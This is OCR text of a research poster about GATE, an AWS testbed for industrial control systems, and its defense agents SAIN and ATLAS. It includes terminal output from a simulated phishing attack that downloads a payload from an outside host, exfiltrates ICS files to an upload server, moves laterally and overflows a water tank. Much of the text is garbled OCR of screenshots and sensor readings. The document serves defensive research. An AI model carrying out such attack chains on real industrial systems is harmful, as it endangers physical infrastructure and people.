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Introduction Defense Agents Overview

GATE is an AWS-based testing platform to run S SAIN [1] is an attack detection and mitigation agent that generates and -\
large-scale and comprehensive experiments {0 ouein ||| e enforces state-aware knowledge with tight PLC variable value bounds to D

: ’ ity | Rl
evaluate all facets of the Institute’s research in R

protect industrial control systems

realistic settings. o | I i — . : ... .
ATLAS [2] is an attack investigation agent that integrates natural

GATE currently includes three main components: /2 | , , ,
language processing and deep learning techniques into data provenance

1. Smart City includes Linux-based machines that | |
the users in smart homes interact with analysis to model sequence-based attack and non-attack behavior

2. Las Palomas Power Plant involves two feed supplies given
to the reactor for an exothermic reaction

3. Great Aqueduct runs a water treatment plant simulator that
purifies raw water through several PLC-controlled processes

Evaluation Results

Initial Setup

1 800.7592592592849 LIT301: 905.9259259259239 LIT401: 999.855528704366 LIT6Q1: 1523.7037037037394 LIT602: 187.407407552971
1 800.7592592592849 LIT301: 905.9259259259239 LIT401: 999.8184926961069 LIT601: 1524.0740740741098 LIT602: 187.40740755301172
: 800.7592592592849 LIT301: 905.5555555555536 LIT401: 1000.1518270582183 LIT6Q1: 1524.4444444444803 LIT602: 187.40740755305245

1 800.7592592592849 LIT301: 905.1851851851833 LIT401: 1000.4851614203296 LIT6@1: 1524.8148148148507 LIT602: 187.40740755309318

. t e e v
a 3 nstances (8) o [ Instance state ¥ Actions ¥ v
~ S Q. Find Instance by attribute or tod (ca : All states ¥
:  800.7592592592849 LIT301: 905.1851851851833 LIT401: 1000.4481254120706 LIT6@1: 1525.1851851852211 LIT602: 187.4074075531339
Instancestate srunning | X | | | Clearfitters 1 @ 1 800.7592592592849 LIT301: 905.1851851851833 LIT401: 1000.4110894038115 LIT6@1: 1525.5555555555916 LIT6@2: 187.48740755317464
- :  800.7592592592849 LIT301: 905.1851851851833 LIT401: 1000.3740533955524 LIT6@1: 1525.925925925962 LIT602: 187.48740755321536
Name / ) £ Instance ID Instance state v Instance type v | Statuscheck = | Alarmstatus | A vallability Zone ¥ | Public IPv4 DNS v PubliciPv4.. @ Elastic |
PLC-95 17da8d2af647f n t2.micro checks pass:
medium pa

1 800.7592592592849 LIT301: 905.1851851851833 LIT401: 1000.3370173872934 LIT6@1: 1526.2962962963325 LIT602: 187.4074075532561

©running @ @ Q22 ec walarms +  us-west-2a = = = :  800.7592592592849 LIT301: 905.1851851851833 LIT401: 1000.2999813790343 LIT601: 1526.666666666703 LIT6@2: 187.40740755329682
............. ©Ruming @ @ ©2 ns 4 : 800.7592592592849 LIT301: 905.1851851851833 LIT401: 1000.2629453707752 LIT601: 1527.0370370370733 LIT602: 187.40740755333755
llllllllllllll ik @.Q o — : 800.7592592592849 LIT3@1: 905.1851851851833 LIT401: 1000.2259093625162 LIT601: 1527.4074074074438 LIT602: 187.40740755337828
:  800.7592592592849 LIT301: 905.1851851851833 LIT401: 1000.1888733542571 LIT6Q1: 1527.7777777778142 LIT602: 187.407407553419
wwwwww ©Running @ @ @2 w alarms + -west- = = & 1 800.7592592592849 LIT301: 905.1851851851833 LIT401: 1000.151837345998 LIT6Q1: 1528.1481481481846 LIT6Q2: 187.40740755345973
- water_2 @ruming @ Q @ ec walarms +  us-west-2b - - - : 800.7592592592849 LIT301: 905.1851851851833 LIT401: 1000.114801337739 LIT601: 1528.518518518555 LIT602: 187.40740755350046
ml c a a - atsderc sh ©Rumming @ Q 02 1 800.7592592592849 LIT301: 905.1851851851833 LIT401: 1000.0777653294799 LIT6@1: 1528.8888888889255 LIT602: 187.4074075535412
:  800.7592592592849 LIT301: 905.1851851851833 LIT401: 1000.0407293212209 LIT6@1: 1529.259259259296 LIT602: 187.48740755358192
"""""""" ORuing @ Q O 1 800.7592592592849 LIT301: 905.1851851851833 LIT401: 1000.0036933129618 LIT6@1: 1529.6296296296664 LIT602: 187.40740755362265
uuuuuuuuuuuuuuuuu ©ruming @ Q ©2/2 arms + us-west-2a €c2-35-166-110-2.us-w, 35.166.110.2 - 1 800.7592592592849 LIT301: 905.1851851851833 LIT401: 999.9666573047027 LIT601: 1530.0000000000368 LIT602: 187.48740755366338

:  800.7592592592849 LIT301: 905.1851851851833 LIT401: 999.9296212964437 LIT6@1: 1530.3703703704073 LIT602: 187.4074075537041
: 800.7592592592849 LIT301: 905.1851851851833 LIT401: 999.8925852881846 LIT6@1: 1530.7407407407777 LIT602: 187.40740755374483
1 800.7592592592849 LIT301: 905.1851851851833 LIT401: 999.8555492799255 LIT6@1: 1531.1111111111481 LIT6@2: 187.40748755378556
800.7592592592849 LIT301: 905.1851851851833 LIT401: 999.8185132716665 LIT601: 1531.4814814815186 LIT602: 187.4074075538263
Y (1) LIT101 - The raw water tank volume
(2) LIT301 - Ultra Filtration (UF) Feed tank volume

VPCS, Su bnets’ EC2 (3) LIT401 - Reverse Osmosis Feed tank volume

(4) LITe01 - UF Backwash tank

|nsta nces are Created (5) LIT6@2 - Raw permeate tank

' =

[

ATLA S Agert List of Instances Agueduct Operation Power Plant Operation
ol

Attack Demonstration

purdue@ITENGR: ~/PurdueAttacksV2-staticIPs/ITENGRS chmod +x PhishingAttack.sh & sudo ./PhishingAttack.sh
[1] 6958

[sudo] password for purdue:

mkdir: cannot create directory ‘/run/user/@’: Permission denied

Error: cannot open display: localhost:10.0

--2024-05-25 18:08:05-- http://192.167.215.233:8000/payload

Connecting to 192.167.215.233:8000... connected.

HTTP request sent, awaiting response...

Length: 2267 (2.2K) [application/octet-stream

Saving to: ‘payload’

1 992.4259259259744 LIT301: 974.0740740740636 LIT401: 1000.2610318437348 LIT6Q1: 838.1481481481162 LIT602: 187.4074074775829
: 992.8518518519004 LIT301: 974.0740740740636 LIT401: 1000.2239958354758 LIT6@1: 838.5185185184865 LIT602: 187.40740747762362
1 993.2777777778264 LIT301: 974.0740740740636 LIT401: 1000.1869598272167 LIT6@1: 838.8888888888569 LIT6@2: 187.40740747766435
1 993.7037037037524 LIT301: 974.0740740740636 LIT401: 1000.1499238189576 LIT6@1: 839.2592592592272 LIT6@2: 187.40740747770508
1 994.1296296296783 LIT301: 974.0740740740636 LIT401: 1000.1128878106986 LIT6@1: 839.6296296295975 LIT602: 187.4074074777458
: 994.5555555556043 LIT301: 974.0740740740636 LIT401: 1000.0758518024395 LIT6Q1: 839.9999999999678 LIT6@2: 187.40740747778653
: 994.9814814815303 LIT301: 974.0740740740636 LIT401: 1000.0388157941804 LIT601: 840.3703703703382 LIT602: 187.4@740747782726
: 995.4074074074563 LIT301: 974.0740740740636 LIT401: 1000.0017797859214 LIT6@1: 840.7407407407085 LIT602: 187.407407477868

: 995.8333333333823 LIT301: 974.0740740740636 LIT401: 999.9647437776623 LIT601: 841.1111111110788 LIT6@2: 187.40740747790872
1 996.2592592593082 LIT301: 974.0740740740636 LIT401: 999.9277077694032 LIT6@1: 841.4814814814491 LIT602: 187.40740747794945
: 996.6851851852342 LIT301: 974.0740740740636 LIT401: 999.8906717611442 LIT6@1: 841.8518518518194 LIT6@2: 187.40740747799018
:997.1111111111602 LIT301: 974.0740740740636 LIT401: 999.8536357528851 LIT6Q1: 842.2222222221898 LIT602: 187.4074074780309

1 997.5370370370862 LIT301: 974.0740740740636 LIT401: 999.816599744626 LIT6@1: 842.5925925925601 LIT6@2: 187.40740747807163

1 997.9629629630122 LIT301: 973.7037037036932 LIT401: 1000.1499341067374 LIT601: 842.9629629629304 LIT602: 187.40740747811236
: 998.3888888889381 LIT301: 973.3333333333229 LIT401: 1000.4832684688488 LIT6Q1: 843.3333333333007 LIT602: 187.4074074781531
: 998.8148148148641 LIT301: 973.3333333333229 LIT401: 1000.4462324605897 LIT601: 843.7037037036711 LIT6@2: 187.40740747819382
1 999.2407407407901 LIT301: 973.3333333333229 LIT401: 1000.4091964523307 LIT601: 844.0740740740414 LIT6Q2: 187.40740747823455
: 999.6666666667161 LIT301: 973.3333333333229 LIT401: 1000.3721604440716 LIT601: 844.4444444444117 LIT602: 187.40740747827527
: 1000.0925925926421 L'1T301: 973.3333333333229 LIT401: 1000.3351244358125 LIT601: 844.814814814782 LIT602: 187.407407478316

payload
2024-05-25 18:08:05 (120 MB/s) - ‘payload’ saved [2267/2267]

Downloading scripts...
Executing exploit for sensitive files exfiltration and ssh lateral movement
Sending /home/purdue/first.pdf to http://192.167.215.233:8080/upload
File sent successfully.
endin, urdue/ics/first.pdf to http://192.167.215.233:8080/upload . .
e sent successfully. EXfI |trat|on
Sending /home/purdue/ics/second.pdf to http://192.167.215.233:8080/upload
e sent successfully.

(1) LIT101 - The raw water tank volume

- Ultra Filtration (UF) Feed tank volume
(3) LIT401 - Reverse Osmosis Feed tank volume
(4) LIT6@1 - UF Backwash tank
(5) LIT6@2 - Raw permeate tank
The LIT101 raw water tank is overflowing!
ubuntu@ip-192-166-90-39:~/Swat_Simulator-main$ I

root/ics/first.pdf to http://192.167.215.233:8080/upload (:)1:
uccessfully.

e sent s
r ics/fourth.pdf to http://192.167.215.233:8080/upload rw
it ESisChieries
cs/t
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The Attack Initialization Water Tank Overflows Power Plant Explosion

We also employ our defense agents to show that SAIN successfully detects and mitigates
the attack against the chemical plant and notifies the ATLAS agent, which then generates
the attack story (i.e., the steps the attacker has taken)
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1) Attacker serves a phishing website 6) The power plant explodes
2) Victim downloads and runs payload 7) Laterally moves to great aqueduct References

3) Attacker exfiltrates importa nt ICS schematics 8) |njects malicious actuator Command [1] Syed Ghazanfar Abbas, Muslum Ozgur Ozmen, Abdulellah Alsaheel, Arslan Khan, Z. Berkay Celik, and Dongyan Xu. SAIN: Improving ICS

Attack Detection Sensitivity via State-Aware Invariants. Usenix Security 2024.

4) Latera”y moves 1o power plant HMI 9) The water ta nk OvE rﬂOWS [2] Alsaheel, Abdulellah, Yuhong Nan, Shiging Ma, Le Yu, Gregory Walkup, Z. Berkay Celik, Xiangyu Zhang, and Dongyan Xu. ATLAS: A
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